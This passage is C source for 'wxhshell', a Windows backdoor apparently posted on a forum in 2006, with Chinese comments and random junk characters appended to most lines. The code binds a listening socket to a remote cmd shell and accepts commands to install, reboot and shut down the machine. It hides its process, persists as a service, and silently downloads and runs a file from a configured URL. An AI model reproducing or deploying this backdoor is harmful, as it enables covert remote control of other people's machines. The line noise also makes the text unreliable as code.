  } Taxi79cH  
  else { E>TD`  
nS[0g^}  
    switch(cmd[0]) { #{7=  
  {y<[1Pms  
  // 帮助 u,[Yaw"L  
  case '?': { o1"U'y-9V  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ;+K:^*oJ  
    break; &5/`6-K  
  } >4GhI65  
  // 安装 (xK=/()}q  
  case 'i': { K2nq2Gbn  
    if(Install()) z;1tJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Tz58@VYV  
    else W5}.WFu  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); : Ey  
    break; }aXc,;Ps  
    } ZA>hN3fE'  
  // 卸载 2j-|.l c  
  case 'r': { n?@3R#4D3  
    if(Uninstall()) S+|aCRS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); eJE?H]  
    else /7|u2!#Ui  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BMU~1[r  
    break; nlH H}K  
    } `j[)iok  
  // 显示 wxhshell 所在路径 n?&G>`u*  
  case 'p': { ywmx6q4MFL  
    char svExeFile[MAX_PATH]; 0@,,YZ f  
    strcpy(svExeFile,"\n\r"); )gvX eJ  
      strcat(svExeFile,ExeFile); ckP&N:tC  
        send(wsh,svExeFile,strlen(svExeFile),0); T{]Tb=  
    break; `>rdn*B  
    } !OPK?7   
  // 重启 v;el= D  
  case 'b': { ?YXl.yj  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); :~:(49l  
    if(Boot(REBOOT)) e x $d~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V;=SncUb  
    else { xex/L%!Rj  
    closesocket(wsh); LB? evewu  
    ExitThread(0); T9{94Ra  
    } P`[6IS#\S  
    break; >T.U\,om7  
    } `zC_?+  
  // 关机 iK(n'X5i  
  case 'd': { I6YN&9Y  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $Xk1'AzB8  
    if(Boot(SHUTDOWN)) 7 -gt V#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;. !AX|v  
    else { L\nWhmwl  
    closesocket(wsh); Wxb/|?,  
    ExitThread(0); h:" <x$F  
    } ?b2"~A  
    break; 0mH>fs 4  
    } p[hA?dXn  
  // 获取shell <bXfjj6YJ@  
  case 's': { h<6@&yzp  
    CmdShell(wsh); `DC)U1  
    closesocket(wsh); _tb)F"4V  
    ExitThread(0); 6~&4>2b0f  
    break; !(w\%$|  
  } 'RTz*CSZ  
  // 退出 )+N%!(ki  
  case 'x': { _&.CI6  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Ts|&_|  
    CloseIt(wsh); 9FX'Uws  
    break; dW,$yH_  
    } [US.n +G6  
  // 离开 "npj%O<bd  
  case 'q': {  PZf^r  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); KFLIO>hE  
    closesocket(wsh); IM}#k$vM:  
    WSACleanup(); 1}QU\N(t  
    exit(1); ?%iAkV  
    break; c3`X19'%fM  
        } /"~CWNa  
  } ts{Tk5+  
  } y2TJDb1  
j Bl I^  
  // 提示信息 %=]~5a9  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Qi w "x,  
} 06]J]  
  } +smPR  
BQ)zm  
  return; kZ[E493bV  
} ORA +>  
c9=;:E  
// shell模块句柄 }Rt?p8p  
int CmdShell(SOCKET sock) /$%apci8  
{ 2Af1-z^^K  
STARTUPINFO si; hof:36 <  
ZeroMemory(&si,sizeof(si)); |*fGG?}  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; E/Q[J.$o  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; vO&%sjvH  
PROCESS_INFORMATION ProcessInfo; a^@6hC>sr  
char cmdline[]="cmd"; 2Rc#{A  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :,fs' !  
  return 0; {3i.U028]  
} *=$Jv1"Q +  
lN<vu#  
// 自身启动模式 @v2_gjRe  
int StartFromService(void) ~Z=Q+'Hu0  
{ 'hf#Q9W5  
typedef struct <2fZYt vt  
{ \uc]+nV!o  
  DWORD ExitStatus; G yvEc3|@  
  DWORD PebBaseAddress; &j<B22t!  
  DWORD AffinityMask; Z_zN:BJ8L  
  DWORD BasePriority; ^|5vmI'E  
  ULONG UniqueProcessId; Q=)$  
  ULONG InheritedFromUniqueProcessId; 0B>hVaj>-  
}   PROCESS_BASIC_INFORMATION; -v/1R1$e1  
(OLjE]9;  
PROCNTQSIP NtQueryInformationProcess; bz[U<  
'P0:1">  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; CCNrjaA  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; az*c0Z<pl  
_K<H*R  
  HANDLE             hProcess; ^RAst1q7  
  PROCESS_BASIC_INFORMATION pbi; xA& tVQ2!  
Sb+^~M  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); E z?O gE{  
  if(NULL == hInst ) return 0; p[2`H$A  
&G\Vn,1v  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); <U%4$83$  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Hz ) Xn\x  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); LUc!a4i"fO  
v6uR[18  
  if (!NtQueryInformationProcess) return 0; ]$oo1ssZ1  
pX8TzmIB0  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >x9@ if  
  if(!hProcess) return 0; Lp.dF)C\  
hfE5[  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; & Xm !i(i  
mE=%+:o.  
  CloseHandle(hProcess); NX%"_W/W  
 `fMdO  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); S3 12#X(%  
if(hProcess==NULL) return 0; T&+*dyNxMK  
h]T  
HMODULE hMod; Of0(.-Q w  
char procName[255]; L|ZxB7xk  
unsigned long cbNeeded; o5LyBUJ  
=hFIH\x  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); o1lhVM`15  
H c,e&R  
  CloseHandle(hProcess); =\~<##sRJ  
IJ\4S  
if(strstr(procName,"services")) return 1; // 以服务启动 iOY: a  
o|`[X '  
  return 0; // 注册表启动 U/}YpLgdD  
} O{^8dwg  
K Q^CiX  
// 主模块 9UDanj P  
int StartWxhshell(LPSTR lpCmdLine) ^E~F,]dV=  
{ eF-U 1ZJT  
  SOCKET wsl; Xna58KF/  
BOOL val=TRUE; DpQ\q;  
  int port=0; #1fL2nlP*E  
  struct sockaddr_in door; @*e5(@R  
.fFXH  
  if(wscfg.ws_autoins) Install(); 56w uk [)  
(yrN-M4~t  
port=atoi(lpCmdLine); ,="hI:*<  
mqj]=Fq*  
if(port<=0) port=wscfg.ws_port; 2$r8^}Nj?  
moS0y?N  
  WSADATA data; A(eB\qG  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; S^s|/!>  
)_n=it$  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   uwl_TDc>%  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ylm # Xa  
  door.sin_family = AF_INET; w)N~u%  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); A=W:}szt]  
  door.sin_port = htons(port); TB}6iIe  
wKU9I[]  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { XEegUTs  
closesocket(wsl); -*A1[Z ?  
return 1; n g%~mt  
} J6 J">  
qCkC 2Fy(  
  if(listen(wsl,2) == INVALID_SOCKET) { EDT9O  
closesocket(wsl); (/7b8)g  
return 1;  8 X Qo  
} v-Tkp Yn  
  Wxhshell(wsl); KFg q3snH  
  WSACleanup(); c=,HLHpFO(  
}W)b  
return 0; v%rmfIU  
d.|*sZ&3p  
} 5^D094J|^  
J#W*,%8O  
// 以NT服务方式启动 cJerYRjsL  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) kXV;J$1  
{ STl8h}C  
DWORD   status = 0; x<h|$$4S  
  DWORD   specificError = 0xfffffff; V0NLwl O  
yg.o?eML  
  serviceStatus.dwServiceType     = SERVICE_WIN32; %QG3~b% h  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Q r\eT}  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; NH;e|8  
  serviceStatus.dwWin32ExitCode     = 0; 5,-g^o7  
  serviceStatus.dwServiceSpecificExitCode = 0; `dw">z,  
  serviceStatus.dwCheckPoint       = 0; #+QJ5VI :  
  serviceStatus.dwWaitHint       = 0; o}DR p4;Ka  
4> uNH5  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); IsmZEVuC  
  if (hServiceStatusHandle==0) return; E[WU  
6cd!;Ca  
status = GetLastError(); ,hH c -%-  
  if (status!=NO_ERROR) wmww7  
{ X::@2{-@y  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; h/oun2C  
    serviceStatus.dwCheckPoint       = 0; 0cSm^a  
    serviceStatus.dwWaitHint       = 0; ^vxx]Hji  
    serviceStatus.dwWin32ExitCode     = status; v4Wq0>o  
    serviceStatus.dwServiceSpecificExitCode = specificError; ep~+]7\  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); & #JYh=#  
    return; tA^+RO4  
  } gzlxkv-F{  
1.M<u)1GU  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Ypl;jkHP  
  serviceStatus.dwCheckPoint       = 0; >yr;Y4y7K  
  serviceStatus.dwWaitHint       = 0; e]nP7TIU  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); \s%g'g;  
} GMg! 2CIU  
CuK>1_Dq  
// 处理NT服务事件,比如:启动、停止 qH0JZdk  
VOID WINAPI NTServiceHandler(DWORD fdwControl) `-%dHvB^R  
{ i9Beap/t$  
switch(fdwControl) pj<aMh  
{ [) 0JI6  
case SERVICE_CONTROL_STOP: }-sh  
  serviceStatus.dwWin32ExitCode = 0; KB^8Z@(+  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; \#JXch  
  serviceStatus.dwCheckPoint   = 0; ,}\LC;31,  
  serviceStatus.dwWaitHint     = 0; _h4]gZ  
  { 4lR+nmAZ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Vpp$yM&?  
  } B8eZ}9X  
  return; 4i.&geX A.  
case SERVICE_CONTROL_PAUSE: P>u2""c  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; +'SL5d*  
  break; Y- Q)sv  
case SERVICE_CONTROL_CONTINUE: qLN\>Z,3;  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; jJw  
  break; Iila|,cM  
case SERVICE_CONTROL_INTERROGATE: utRO?]%d !  
  break; 50dN~(;p  
}; QVRQUd  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); PY C  
} 7FkiT  
{ZSAPq4)L  
// 标准应用程序主函数 9mp`LT  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Q!3-P  
{ jbq x7x  
5FuV=Yuc  
// 获取操作系统版本 I L7kpH+y  
OsIsNt=GetOsVer(); 43y@9P0  
GetModuleFileName(NULL,ExeFile,MAX_PATH); L~e0^X?  
g]JRAM  
  // 从命令行安装 N%'(8%;  
  if(strpbrk(lpCmdLine,"iI")) Install(); shL_{}  
o/ 51 RH  
  // 下载执行文件 @YRy)+  
if(wscfg.ws_downexe) { A$7K5   
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) w8~R=k  
  WinExec(wscfg.ws_filenam,SW_HIDE); bf=\ED^  
} #g@4c3um|  
L4T\mP7D7*  
if(!OsIsNt) { wSCI?  
// 如果时win9x,隐藏进程并且设置为注册表启动 O"|d~VQ  
HideProc(); -hfkF+=U'  
StartWxhshell(lpCmdLine); \2[tM/+Bs  
} q)o;iR  
else 8 %?MRRK  
  if(StartFromService()) Ac{TqiIv  
  // 以服务方式启动 }eA ) m  
  StartServiceCtrlDispatcher(DispatchTable); OGLA1}k4  
else oiR9NB&<  
  // 普通方式启动 ~`Vo0Z*S  
  StartWxhshell(lpCmdLine); ^8bc<c:P  
nj00g>:>  
return 0; wj0_X;L  
}
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只看该作者 1 发表于: 2006-10-10
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